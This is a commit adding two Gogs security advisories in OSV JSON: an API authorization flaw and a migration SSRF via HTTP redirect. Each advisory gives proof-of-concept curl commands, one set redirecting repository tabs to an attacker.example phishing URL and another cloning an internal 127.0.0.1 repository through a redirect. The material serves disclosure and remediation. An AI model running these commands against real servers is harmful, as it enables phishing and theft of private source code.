Skip to content

Commit fa7205d

Browse files
1 parent 3eea087 commit fa7205d

4 files changed

Lines changed: 270 additions & 0 deletions

File tree

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-268j-37xf-pp52",
4+
"modified": "2026-06-23T17:03:07Z",
5+
"published": "2026-06-23T17:03:07Z",
6+
"aliases": [
7+
"CVE-2026-52808"
8+
],
9+
"summary": "Gogs's write-level collaborators can mutate admin-only repository settings via API",
10+
"details": "## Summary\n\nThree API endpoints — `PATCH /api/v1/repos/:owner/:repo/issue-tracker`, `PATCH /api/v1/repos/:owner/:repo/wiki`, and `POST /api/v1/repos/:owner/:repo/mirror-sync` — are gated by `reqRepoWriter()` rather than `reqRepoAdmin()`. The equivalent operations in the web UI sit behind `reqRepoAdmin`, which requires `AccessMode >= AccessModeAdmin`. A write-level collaborator (who has `AccessMode == AccessModeWrite < AccessModeAdmin`) can therefore call these API endpoints directly to disable the native issue tracker or wiki, inject attacker-controlled external tracker/wiki URLs that redirect all repository visitors, or trigger mirror sync — none of which they are authorized to do.\n\n## Severity\n\n**High** (CVSS 3.1: 7.1)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L`\n\n- **Attack Vector:** Network — the API endpoints are reachable over HTTP/S.\n- **Attack Complexity:** Low — a single API call is sufficient; no chaining or race condition required.\n- **Privileges Required:** Low — only write-level collaborator access to the targeted repository is needed. The attacker does not need repo-admin or site-admin privileges.\n- **User Interaction:** None — the attacker acts unilaterally.\n- **Scope:** Unchanged — the impact is contained to the targeted repository's settings and its visitors.\n- **Confidentiality Impact:** None — the attacker does not read confidential data directly.\n- **Integrity Impact:** High — the attacker permanently mutates repository configuration, including injecting an external URL that redirects all visitors who click the Issues or Wiki tabs to an attacker-controlled site.\n- **Availability Impact:** Low — disabling the native issue tracker or wiki reduces the availability of those features for all repository participants.\n\n\n## Affected component\n\n- `internal/route/api/v1/api.go` — route registration (lines 365–367)\n- `internal/route/api/v1/repo_repo.go` — `issueTracker()` (line 400), `wiki()` (line 437), `mirrorSync()` (line 463)\n\n## CWE\n\n- **CWE-863**: Incorrect Authorization\n- **CWE-269**: Improper Privilege Management\n\n## Description\n\n### Three admin-equivalent API endpoints are protected by write-level middleware\n\n`api.go:365-367` registers the three settings endpoints with `reqRepoWriter()`:\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoWriter(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoWriter(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoWriter(), mirrorSync)\n```\n\n`reqRepoWriter()` (defined at `api.go:131-138`) passes any user whose repository `AccessMode >= AccessModeWrite`:\n\n```go\nfunc reqRepoWriter() macaron.Handler {\n return func(c *context.Context) {\n if !c.Repo.IsWriter() {\n c.Status(http.StatusForbidden)\n return\n }\n }\n}\n```\n\nThe handlers themselves perform no additional privilege check before mutating state:\n\n```go\n// internal/route/api/v1/repo_repo.go:400-428\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n _, repo := parseOwnerAndRepo(c)\n ...\n if form.EnableExternalTracker != nil {\n repo.EnableExternalTracker = *form.EnableExternalTracker\n }\n if form.ExternalTrackerURL != nil {\n repo.ExternalTrackerURL = *form.ExternalTrackerURL // ← attacker-controlled URL written directly\n }\n ...\n database.UpdateRepository(repo, false) // ← no admin check before this call\n}\n```\n\nThe `wiki()` handler (lines 437–461) follows the same pattern, writing `repo.ExternalWikiURL` directly and calling `UpdateRepository` with no admin gate.\n\n### The web UI imposes a stricter admin requirement for the same operations\n\n`cmd/gogs/web.go:472` wraps the entire `/settings` subtree with `reqRepoAdmin`:\n\n```go\n// cmd/gogs/web.go:425-472\nm.Group(\"/:username/:reponame\", func() {\n m.Group(\"/settings\", func() {\n m.Combo(\"\").Get(repo.Settings).\n Post(bindIgnErr(form.RepoSetting{}), repo.SettingsPost)\n ...\n }, ...)\n}, reqSignIn, context.RepoAssignment(), reqRepoAdmin, context.RepoRef())\n```\n\n`context.RequireRepoAdmin()` (defined at `context/repo.go:434-441`) requires `AccessMode >= AccessModeAdmin`:\n\n```go\nfunc RequireRepoAdmin() macaron.Handler {\n return func(c *Context) {\n if !c.IsLogged || (!c.Repo.IsAdmin() && !c.User.IsAdmin) {\n c.NotFound()\n return\n }\n }\n}\n```\n\nIn the access mode hierarchy, `AccessModeWrite < AccessModeAdmin`. A write-level collaborator satisfies `reqRepoWriter()` but does not satisfy `RequireRepoAdmin()`. The API path provides the write-level collaborator with capabilities that the UI correctly withholds.\n\n### Full execution chain\n\n1. **Attacker precondition**: Attacker is added as a repository collaborator with write access (`AccessMode == AccessModeWrite`).\n2. **API call**: `PATCH /api/v1/repos/OWNER/REPO/issue-tracker` with `Authorization: token WRITER_TOKEN` and body `{\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}`.\n3. **Middleware**: `reqRepoWriter()` checks `c.Repo.IsWriter()` → `AccessMode >= AccessModeWrite` → passes.\n4. **Handler**: `issueTracker()` sets `repo.EnableExternalTracker = true` and `repo.ExternalTrackerURL = \"https://attacker.example/phish\"`, then calls `database.UpdateRepository(repo, false)`. No admin check occurs.\n5. **Impact**: All visitors to the repository who click the \"Issues\" tab are redirected to the attacker's server. The native issue tracker is bypassed permanently until a repo admin reverses the change.\n\n## Proof of Concept\n\n```bash\n# Precondition: attacker is a collaborator with WRITE access, not repo admin.\n\n# 1) Redirect the Issues tab to an attacker-controlled phishing page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/issue-tracker\" \\\n -H \"Authorization: token WRITER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\"enable_issues\":false,\"enable_external_tracker\":true,\"external_tracker_url\":\"https://attacker.example/phish\"}'\n# Expected: HTTP 204 No Content\n\n# 2) Redirect the Wiki tab to an attacker-controlled page\ncurl -i -X PATCH \"https://TARGET/api/v1/repos/OWNER/REPO/wiki\" \\\n -H \"Authorization: token WRITER_TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\"enable_wiki\":false,\"enable_external_wiki\":true,\"external_wiki_url\":\"https://attacker.example/phish-wiki\"}'\n# Expected: HTTP 204 No Content\n\n# 3) Force a mirror sync on a mirrored repository (potential resource abuse)\ncurl -i -X POST \"https://TARGET/api/v1/repos/OWNER/REPO/mirror-sync\" \\\n -H \"Authorization: token WRITER_TOKEN\"\n# Expected: HTTP 202 Accepted\n```\n\n## Impact\n\n- A write-level collaborator can permanently replace the native issue tracker with an external URL under attacker control, redirecting all repository visitors who follow the Issues link to a phishing or malware-serving page.\n- The same redirect attack applies to the Wiki tab via the external wiki URL setting.\n- Both redirects remain active until a repo admin or owner manually reverses the setting; the attacker has no way to be removed from having already made the change.\n- Mirror sync can be triggered repeatedly, potentially causing unnecessary load on the upstream mirror source or consuming network resources.\n- All three operations are silent — no notification is sent to repo admins when these settings change via the API.\n\n## Recommended remediation\n\n### Option 1: Change middleware to `reqRepoAdmin()` on all three endpoints (preferred)\n\nReplace `reqRepoWriter()` with `reqRepoAdmin()` at the route registration level. This is a one-line change per endpoint and aligns the API authorization with the web UI's established policy.\n\n```go\n// internal/route/api/v1/api.go:365-367\nm.Patch(\"/issue-tracker\", reqRepoAdmin(), bind(editIssueTrackerRequest{}), issueTracker)\nm.Patch(\"/wiki\", reqRepoAdmin(), bind(editWikiRequest{}), wiki)\nm.Post(\"/mirror-sync\", reqRepoAdmin(), mirrorSync)\n```\n\n### Option 2: Add an explicit admin check inside the handlers\n\nAdd `c.Repo.IsAdmin()` checks at the top of `issueTracker()`, `wiki()`, and `mirrorSync()`. This is less preferred because it duplicates middleware logic in handler code, but it provides defense-in-depth if the route middleware is ever accidentally changed.\n\n```go\nfunc issueTracker(c *context.APIContext, form editIssueTrackerRequest) {\n if !c.Repo.IsAdmin() {\n c.Status(http.StatusForbidden)\n return\n }\n ...\n}\n```\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "gogs.io/gogs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.14.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-268j-37xf-pp52"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/gogs/gogs/pull/8327"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/gogs/gogs/commit/6283462119bd8894f1599d70339b5e823f99954a"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/gogs/gogs"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-269",
63+
"CWE-863"
64+
],
65+
"severity": "HIGH",
66+
"github_reviewed": true,
67+
"github_reviewed_at": "2026-06-23T17:03:07Z",
68+
"nvd_published_at": null
69+
}
70+
}
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-g2f5-gjr4-qjvm",
4+
"modified": "2026-06-23T17:01:35Z",
5+
"published": "2026-06-23T17:01:35Z",
6+
"aliases": [
7+
"CVE-2026-52805"
8+
],
9+
"summary": "Gogs has a Migration Redirect Bypass that Leads to Internal Repository Theft",
10+
"details": "# Migration URL validation bypass via HTTP redirect to blocked internal endpoints\n\n## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but `git clone --mirror` follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., `127.0.0.1`), importing the internal repository's contents into an attacker-controlled repository.\n\n## Vulnerability Details\n\nThe vulnerability is located in `internal/form/repo.go`. `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by `git clone --mirror` in `internal/database/repo.go`, which follows HTTP redirects without revalidation:\n\n1. Attacker submits `http://attacker.example/redirect.git` — passes validation (public hostname).\n2. Attacker's server responds with `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Git follows the redirect and clones the internal repository.\n4. Gogs imports the cloned contents into the attacker's new repository.\n\nThe root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.\n\n## Impact\n\nThis vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:\n\n- Steal source code and secrets from internal repositories served over HTTP.\n- Scan internal network services via the migration endpoint.\n\n## Reproduction Steps\n\nPrerequisites: a Gogs instance, an attacker account that can create repositories.\n\n1. Start a local HTTP Git server with a test repository on `127.0.0.1:18081`.\n2. Start a redirect server that responds to any request with a `302` redirect to `http://127.0.0.1:18081/victim/private.git`.\n3. Verify the direct localhost URL is blocked:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\"clone_addr\":\"http://127.0.0.1:18081/victim/private.git\",\"uid\":2,\"repo_name\":\"blocked\"}' \\\n \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: rejected as blocked local address.\n\n4. Submit a public-looking URL that redirects to the blocked endpoint:\n```bash\ncurl -sS -X POST -H \"Authorization: token ${TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\"clone_addr\":\"http://attacker.example/redirect.git\",\"uid\":2,\"repo_name\":\"stolen\",\"private\":true}' \\\n \"${GOGS_URL}/api/v1/repos/migrate\"\n```\nResult: migration succeeds. The new repository contains the internal repository's contents.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "gogs.io/gogs"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.14.3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-g2f5-gjr4-qjvm"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/gogs/gogs/pull/8324"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/gogs/gogs/commit/b9a0093e9cd1b2b3c7f42f9feca396dc772c4f1b"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/gogs/gogs"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [],
62+
"severity": "HIGH",
63+
"github_reviewed": true,
64+
"github_reviewed_at": "2026-06-23T17:01:35Z",
65+
"nvd_published_at": null
66+
}
67+
}

0 commit comments

Comments
 (0)